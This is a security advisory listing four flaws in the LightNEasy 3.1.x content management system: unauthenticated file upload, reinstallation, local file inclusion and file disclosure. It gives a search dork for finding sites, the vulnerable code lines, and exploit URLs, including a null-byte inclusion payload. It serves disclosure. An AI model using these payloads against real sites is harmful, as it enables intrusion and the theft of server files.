    ##############################################################################
    #Title:             LightNEasy 3.1.x Multiple Vulnerabilites                 #
    #Vendor:            http://lightneasy.org/                                   #
    #Dork:              "Powered by LightNEasy"                                  #
    ##############################################################################
    #AUTHOR:            ITSecTeam                                                #
    #Email:             Bug@ITSecTeam.com                                        #
    #Website:           http://www.itsecteam.com                                 #
    #Forum :            http://forum.ITSecTeam.com                               #
    #Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability46.htm #
    #Thanks:            r3dm0v3 [r3dm0v3_at_ymail.com]                           #
    ##############################################################################

    #DESCRIPTION (by vendor):#####################################################
     LightNEasy, a simple and light Content Management System and Website Builder

    #1-fckeditor Remote File Upload###############################################
     #Desc:
     Remote users can upload file without authentication.

     #POC:
     http://site.com/fckeditor/editor/filemanager/connectors/test.html

    #2-Reinstallation#############################################################
     #Desc:
      After software installation it is still possible for remote users to reinstall
      the software without authentication.

     #Exploit:

Enter password: |
Repeat password: |
Admin name: |
Admin email: |
Website email: |
Tables prefix: |
Database system: |
Database name: |
MySQL login: |
MySQL password: |
MySQL host: |

    #3-Filemanager plugin Local File Inclusion####################################
     #Bug-file: /plugins/filemanager/get_file.php
       29:  if(!isset($language)) $language = 'en';
       30:  include("languages/lang_$language.inc"); //<---- vulnerable line!

     #Exploit:
      http://site.com/plugins/filemanager/get_file.php?language=[file_to_include]%00

    #4-Filemanager plugin Local File Disclosure###################################
     #Bug-File:
       14:  if(isset($_REQUEST['file'])) $file = $_REQUEST['file'];
       ...
       56:  readfile($file);

     #EXPLOIT:
      http://site.com/plugins/filemanager/get_file.php?file=[file_to_read]